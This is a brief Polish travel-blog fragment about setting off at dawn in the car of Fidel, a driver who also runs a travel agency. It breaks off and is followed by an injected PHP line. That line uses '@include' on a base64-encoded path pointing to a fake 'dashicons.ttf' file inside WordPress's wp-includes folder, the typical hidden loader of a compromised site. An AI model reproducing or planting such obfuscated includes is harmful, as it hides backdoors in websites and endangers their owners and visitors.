Środa Dniało już, kiedy wsiadłem do auta Fidela, który był dzień wcześniej naszym kierowcą, ale miał i swoją agencję podróżniczą. Nie odjechaliśmy daleko od miasteczka, może kilometr czy dwa, aby…
@include base64_decode("L2hvbWUvcGxhdG5lL3NlcndlcjE0ODY5L3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1RleHQvRGlmZi9FbmdpbmUvZGFzaGljb25zLnR0Zg==");